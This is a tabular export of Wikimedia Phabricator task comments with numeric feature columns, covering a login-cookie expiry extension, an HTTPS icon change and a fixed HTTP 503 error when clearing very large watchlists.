Yes, the change has been cleared by legal.  The extension to one year is permissible under the new privacy policy, as Steven indicated.  We will update the FAQ once the change goes into effect.",,,1403027159,,PHID-USER-kffalvhbc2wojbtnxvua,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,1.0,1.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,23.0,1.0,0.0,6.0,0.0,0.0,0.0,3.0,1.0,0.0,4.0,0.0,1.0,15.0,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5569620253164556,0.6075949367088608,"(In reply to Steven Walling from comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

(In reply to James Forrester from comment #1)
QUOTE
QUOTE
QUOTE

Yes, the change has been cleared by legal.  The extension to one year is permissible under the new privacy policy, as Steven indicated.  We will update the FAQ once the change goes into effect."
301714,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:

(In reply to James Forrester from comment #1)
> Is this cleared by legal and security? Also, note that
> https://meta.wikimedia.org/wiki/Privacy_policy/FAQ#cookieFAQ will need to be
> updated.",,,1403027019,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,12.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.04,0.72,"**swalling** wrote:

(In reply to James Forrester from comment #1)
QUOTE
QUOTE
QUOTE"
301711,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Is this cleared by legal and security? Also, note that https://meta.wikimedia.org/wiki/Privacy_policy/FAQ#cookieFAQ will need to be updated.",,,1403020131,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,16.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5789473684210527,1.0,"Is this cleared by legal and security? Also, note that URL will need to be updated."
68219,https/secure link icon does not use asset from Wikifont,"performance increase would possibly be realized if https/secure link icon svg was swapped with wikifont icon character for https/secure link

--------------------------
**Version**: 1.24rc
**Severity**: normal",Medium,50.0,1402004400,1450710157.0,PHID-USER-z3kqk2bjnqneldcznht6,True,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-TASK-5c6446qlloqctwqq4nqq,task_description,resolved,True,c3,1,False,False,False,-56,True,0.0,0.0,0.0,5.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.476190476190476,0.6666666666666666,"performance increase would possibly be realized if https/secure link icon svg was swapped with wikifont icon character for https/secure link

--------------------------
**Version**: 1.24rc
**Severity**: normal"
582105,https/secure link icon does not use asset from Wikifont,"HTTPs secure link icons are no longer in use (T63178), as all links are now secure pointing to secure resources by default.

Therefore closing as resolved",,,1450710157,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-5c6446qlloqctwqq4nqq,task_subcomment,,True,c3,3,True,,,24,True,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,4.193548387096774,0.8709677419354839,"HTTPs secure link icons are no longer in use (T63178), as all links are now secure pointing to secure resources by default.

Therefore closing as resolved"
68212,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","**Author:** `ab.zachaeus`

**Description:**
Background: Grow tired of not being able to edit massive (41k+) watchlist by normal means (clicky-clicky or raw) (see bug T41510). Manually whittle watchlist down to 39k+ entries. Dig out https://commons.wikimedia.org/w/api.php?action=query&generator=watchlistraw&gwrlimit=max and hand-craft a list of watchlist entries to be kept after a watchlist purge.

The act: go to https://commons.wikimedia.org/wiki/Special:EditWatchlist/clear and click the button. Watch nothing happen. Get following error message:

```
Request: POST http://commons.wikimedia.org/wiki/Special:EditWatchlist/clear, from 10.64.0.104 via cp1055 cp1055 ([10.64.32.107]:3128), Varnish XID 3575162694
Forwarded for: 84.250.106.149, 91.198.174.103, 208.80.154.134, 10.64.0.104
Error: 503, Service Unavailable at Thu, 05 Jun 2014 19:07:13 GMT
```

--------------------------
**Version**: 1.24rc
**Severity**: normal
**See Also**:
{T41510}
{T66074}",Medium,50.0,1401998340,1519388914.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-u7w6n5ecde66oujx33pe,False,PHID-TASK-lxtlzycgrykh72kfvh64,task_description,resolved,True,c3,1,False,False,False,-56,True,0.0,0.0,0.0,0.5,0.5,5.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,5.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,13.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,13.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,3.351763907734057,0.6460877431026685,"**Author:** CODE

**Description:**
Background: Grow tired of not being able to edit massive (41k+) watchlist by normal means (clicky-clicky or raw) (see bug T41510). Manually whittle watchlist down to 39k+ entries. Dig out URL and hand-craft a list of watchlist entries to be kept after a watchlist purge.

The act: go to URL and click the button. Watch nothing happen. Get following error message:

``CODE``

--------------------------
**Version**: 1.24rc
**Severity**: normal
**See Also**:
{T41510}
{T66074}"
1018896,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","So, I'm going to mark this as closed as the patches have been deployed so clearing large watchlists should now be possible.",,,1519388914,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,True,,,138,True,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,16.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.08,0.96,"So, I'm going to mark this as closed as the patches have been deployed so clearing large watchlists should now be possible."
1010946,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",So the merging of the above patch and closing of T132564 should see watchlist clearing using the job queue enabled with the next train.,,,1518438571,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,True,,,136,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,8.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.48,0.84,So the merging of the above patch and closing of T132564 should see watchlist clearing using the job queue enabled with the next train.
1010143,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","Change 277436 **merged** by jenkins-bot:
[mediawiki/core@master] Use WatchedItemStore clearing in SpecialEditWatchlist

[[https://gerrit.wikimedia.org/r/277436]]",,,1518206781,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,False,,,136,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.310344827586207,0.7586206896551724,"Change 277436 **merged** by jenkins-bot:
[mediawiki/core@master] Use WatchedItemStore clearing in SpecialEditWatchlist

[[GERRIT_URL]]"
885691,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",https://gerrit.wikimedia.org/r/#/c/277436 has now been rebased and altered to use wl_id,,,1498850706,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,True,,,104,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,URL has now been rebased and altered to use wl_id
629742,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","Change 277436 had a related patch set uploaded (by Addshore):
Use WatchedItemStore in SpecialEditWatchlist

[[https://gerrit.wikimedia.org/r/277436]]
",,,1458002587,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,False,,,36,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.625,0.875,"Change 277436 had a related patch set uploaded (by Addshore):
Use WatchedItemStore in SpecialEditWatchlist

[[GERRIT_URL]]
"
537967,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",Perhaps this is something which we should use the job queue for. Downside would be it might sometimes take several hours for the jobs to be executed but I think users can accept longer waits for performing heavy operations like this.,,,1443613986,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,True,,,12,True,2.0,2.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,12.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,7.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,7.0,12.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.488372093023256,0.8604651162790697,Perhaps this is something which we should use the job queue for. Downside would be it might sometimes take several hours for the jobs to be executed but I think users can accept longer waits for performing heavy operations like this.
521561,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",">>! In T68212#1606695, @Ciencia_Al_Poder wrote:
> I'm wondering what kind of ""selective editing"" do you expect to perform on a 39K list

- Removal of most non-existing pages, categories, and files.
- Removal of large sets with uniform file name type, when checking one confirms I'm not interested in watching any of them (for instance, a couple of dozen files names to the effect of Rosa spec. cultivar 'Sommerwind' at Plozhofener Rosegarden in Weldham 0222.JPG)
- Removal of all files containing a certain string (Plozhofener Zoo)
- Removal of all IP user talk and user pages
- Removal of all RfD pages
- Removal of most RDs",,,1441457065,,PHID-USER-nnn7kd34fbisefr6p2an,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,False,,,9,True,3.5,0.0,0.0,0.0,0.5,5.5,0.0,0.0,0.0,0.0,1.5,2.5,0.0,0.0,0.0,0.5,1.0,1.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,15.5,0.5,1.5,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,10.5,12.5,0.0,2.0,0.0,1.0,0.0,0.5,1.5,0.5,2.0,0.0,1.5,0.0,3.8722222222222222,0.7057239057239058,"QUOTE
QUOTE

- Removal of most non-existing pages, categories, and files.
- Removal of large sets with uniform file name type, when checking one confirms I'm not interested in watching any of them (for instance, a couple of dozen files names to the effect of Rosa spec. cultivar 'Sommerwind' at Plozhofener Rosegarden in Weldham 0222.JPG)
- Removal of all files containing a certain string (Plozhofener Zoo)
- Removal of all IP user talk and user pages
- Removal of all RfD pages
- Removal of most RDs"
521111,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",">>! In T68212#1606211, @Pitke wrote:
> Would like to mention that somewhere between 33,5K and 35K entries, Special:EditWatchlist began to load and work, if very slowly. Selecting more than 10-20 entries causes increasing lag.
> 
>>>! In T68212#1202608, @Aklapper wrote:
>> Lowering priority from high to normal to reflect reality (no progress here for months; feel free to increase once an assignee is set); workaround available in T68212#698926.
> This only works for clearing the watchlist but does not allow selective editing, and needs to be combined with a manually reduced API raw output feed (to enter in the raw edit).

I'm wondering what kind of ""selective editing"" do you expect to perform on a 39K list",,,1441382064,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,25.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,9.0,16.0,0.0,6.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.34375,0.6875,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm wondering what kind of ""selective editing"" do you expect to perform on a 39K list"
521014,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","Would like to mention that somewhere between 33,5K and 35K entries, Special:EditWatchlist began to load and work, if very slowly. Selecting more than 10-20 entries causes increasing lag.

>>! In T68212#1202608, @Aklapper wrote:
> Lowering priority from high to normal to reflect reality (no progress here for months; feel free to increase once an assignee is set); workaround available in T68212#698926.
This only works for clearing the watchlist but does not allow selective editing, and needs to be combined with a manually reduced API raw output feed (to enter in the raw edit).
",,,1441366244,,PHID-USER-nnn7kd34fbisefr6p2an,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,1.0,1.0,1.0,5.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,8.0,14.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,12.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,4.0,0.8,"Would like to mention that somewhere between 33,5K and 35K entries, Special:EditWatchlist began to load and work, if very slowly. Selecting more than 10-20 entries causes increasing lag.

QUOTE
QUOTE
This only works for clearing the watchlist but does not allow selective editing, and needs to be combined with a manually reduced API raw output feed (to enter in the raw edit).
"
521012,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","Would like to mention that somewhere between 33,5K and 35K entries, Special:EditWatchlist began to load and work, if very slowly. Selecting more than 10-20 entries causes increasing lag.

>>! In T68212#1202608, @Aklapper wrote:
> Lowering priority from high to normal to reflect reality (no progress here for months; feel free to increase once an assignee is set); workaround available in T68212#698926.
This only works for clearing the watchlist but does not allow selective editing.
",,,1441366128,,PHID-USER-nnn7kd34fbisefr6p2an,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,9.0,12.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,4.172413793103448,0.8275862068965517,"Would like to mention that somewhere between 33,5K and 35K entries, Special:EditWatchlist began to load and work, if very slowly. Selecting more than 10-20 entries causes increasing lag.

QUOTE
QUOTE
This only works for clearing the watchlist but does not allow selective editing.
"
442711,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",Lowering priority from high to normal to reflect reality (no progress here for months; feel free to increase once an assignee is set); workaround available in T68212#698926.,,,1428926047,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-12,True,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.59375,0.90625,Lowering priority from high to normal to reflect reality (no progress here for months; feel free to increase once an assignee is set); workaround available in T68212#698926.
302973,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","**ab.zachaeus** wrote:

I've been whittling my watchlist down (originally +39K), just broke 36K and raw editing works fine now. I'll assume the list could be emptied as well. Normal edit still fails.",,,1412061111,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,False,,,-40,True,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,6.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,6.0,2.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5208333333333335,0.8541666666666666,"**ab.zachaeus** wrote:

I've been whittling my watchlist down (originally +39K), just broke 36K and raw editing works fine now. I'll assume the list could be emptied as well. Normal edit still fails."
302970,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",*** Bug 68559 has been marked as a duplicate of this bug. ***,,,1406299582,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-49,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 68559 has been marked as a duplicate of this bug. ***
302965,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","...or rather, that was what I remembered from when I looked at it back then. There seems to be a button now :-)",,,1405276460,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-51,True,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,19.0,12.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,4.0,4.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,3.423076923076923,0.9615384615384616,"...or rather, that was what I remembered from when I looked at it back then. There seems to be a button now :-)"
302961,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","Note that /clear *does not clear, but just responds with /raw*!

Jesús' workaround is one option; I have provided a pywikibot-based option in https://bugzilla.wikimedia.org/show_bug.cgi?id=64074 .",,,1405276345,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-51,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,12.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,9.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.9411764705882353,"Note that /clear *does not clear, but just responds with /raw*!

Jesús' workaround is one option; I have provided a pywikibot-based option in URL ."
